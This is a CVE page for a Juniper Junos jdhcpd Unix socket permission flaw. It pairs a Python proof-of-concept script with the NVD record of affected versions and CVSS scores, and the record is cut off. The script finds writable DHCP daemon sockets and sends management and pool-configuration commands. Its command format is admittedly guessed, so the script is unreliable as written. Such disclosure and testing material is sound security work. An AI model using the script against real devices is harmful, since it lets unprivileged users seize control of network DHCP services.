CVE-2025-59961

#!/usr/bin/env python3 """ CVE-2025-59961 PoC - Juniper jdhcpd Unix Socket Exploitation Note: This PoC is for educational and authorized testing purposes only. """ import socket import os import struct def find_jdhcpd_socket(): """Find the jdhcpd Unix socket path""" common_paths = [ '/var/run/jdhcpd.sock', '/var/run/dhcpd.sock', '/var/run/junos/jdhcpd.sock', '/tmp/jdhcpd.sock' ] for path in common_paths: if os.path.exists(path): return path return None def exploit_jdhcpd(socket_path): """ Exploit the incorrect permission on jdhcpd Unix socket to execute management commands """ try: sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.connect(socket_path) # Example: Send DHCP management command # Command format varies based on jdhcpd implementation cmd_type = 0x01 # Management command type cmd_data = b'get_status\x00' # Construct command packet header = struct.pack('!BI', cmd_type, len(cmd_data)) packet = header + cmd_data sock.send(packet) response = sock.recv(4096) print(f"[+] Received response: {response}") # Example: Send configuration modification command cmd_type = 0x02 # Configuration command type config_cmd = b'set_pool 192.168.1.0/24\x00' header = struct.pack('!BI', cmd_type, len(config_cmd)) packet = header + config_cmd sock.send(packet) response = sock.recv(4096) print(f"[+] Configuration command sent successfully") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == '__main__': print("CVE-2025-59961 - Juniper jdhcpd Socket Exploitation PoC") print("=" * 50) socket_path = find_jdhcpd_socket() if socket_path: print(f"[+] Found jdhcpd socket at: {socket_path}") print("[+] Checking socket permissions...") stat_info = os.stat(socket_path) print(f"[+] Socket permissions: {oct(stat_info.st_mode)}") if os.access(socket_path, os.W_OK): print("[!] Socket is writable by current user - VULNERABLE!") exploit_jdhcpd(socket_path) else: print("[-] Socket not writable - may need privilege escalation first") else: print("[-] jdhcpd socket not found")

{"cve": {"id": "CVE-2025-59961", "sourceIdentifier": "[email protected]", "published": "2026-01-15T21:16:03.400", "lastModified": "2026-01-23T19:39:19.273", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Incorrect Permission Assignment for Critical Resource vulnerability in the Juniper DHCP daemon (jdhcpd) of Juniper Networks Junos OS and Junos OS Evolved allows a local, low-privileged user to write to the Unix socket used to manage the jdhcpd process, resulting in complete control over the resource.\n\nThis vulnerability allows any low-privileged user logged into the system to connect to the Unix socket and issue commands to manage the DHCP service, in essence, taking administrative control of the local DHCP server or DHCP relay.\n\nThis issue affects:\n Junos OS: \n * all versions before 21.2R3-S10,\n * all versions of 22.2,\n * from 21.4 before 21.4R3-S12,\n * from 22.4 before 22.4R3-S8,\n * from 23.2 before 23.2R2-S5, \n * from 23.4 before 23.4R2-S6, \n * from 24.2 before 24.2R2-S2, \n * from 24.4 before 24.4R2, \n * from 25.2 before 25.2R1-S1, 25.2R2; \n\n\n\nJunos OS Evolved: \n * all versions before 22.4R3-S8-EVO, \n * from 23.2 before 23.2R2-S5-EVO, \n * from 23.4 before 23.4R2-S6-EVO, \n * from 24.2 before 24.2R2-S2-EVO, \n * from 24.4 before 24.4R2-EVO, \n * from 25.2 before 25.2R1-S1-EVO, 25.2R2-EVO."}, {"lang": "es", "value": "Una vulnerabilidad de Asignación Incorrecta de Permisos para Recursos Críticos en el demonio DHCP de Juniper (jdhcpd) de Juniper Networks Junos OS y Junos OS Evolved permite a un usuario local con pocos privilegios escribir en el socket Unix utilizado para gestionar el proceso jdhcpd, lo que resulta en un control completo sobre el recurso.\n\nEsta vulnerabilidad permite a cualquier usuario con pocos privilegios que haya iniciado sesión en el sistema conectarse al socket Unix y emitir comandos para gestionar el servicio DHCP, en esencia, tomando el control administrativo del servidor DHCP local o del relé DHCP.\n\nEste problema afecta a:\n Junos OS:\n * todas las versiones anteriores a 21.2R3-S10,\n * todas las versiones de 22.2,\n * desde 21.4 antes de 21.4R3-S12,\n * desde 22.4 antes de 22.4R3-S8,\n * desde 23.2 antes de 23.2R2-S5,\n * desde 23.4 antes de 23.4R2-S6,\n * desde 24.2 antes de 24.2R2-S2,\n * desde 24.4 antes de 24.4R2,\n * desde 25.2 antes de 25.2R1-S1, 25.2R2;\n\nJunos OS Evolved:\n * todas las versiones anteriores a 22.4R3-S8-EVO,\n * desde 23.2 antes de 23.2R2-S5-EVO,\n * desde 23.4 antes de 23.4R2-S6-EVO,\n * desde 24.2 antes de 24.2R2-S2-EVO,\n * desde 24.4 antes de 24.4R2-EVO,\n * desde 25.2 antes de 25.2R1-S1-EVO, 25.2R2-EVO."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:Green", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "YES", "Recovery": "AUTOMATIC", "valueDensity": "CONCENTRATED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "GREEN"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-732"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos ... (truncated)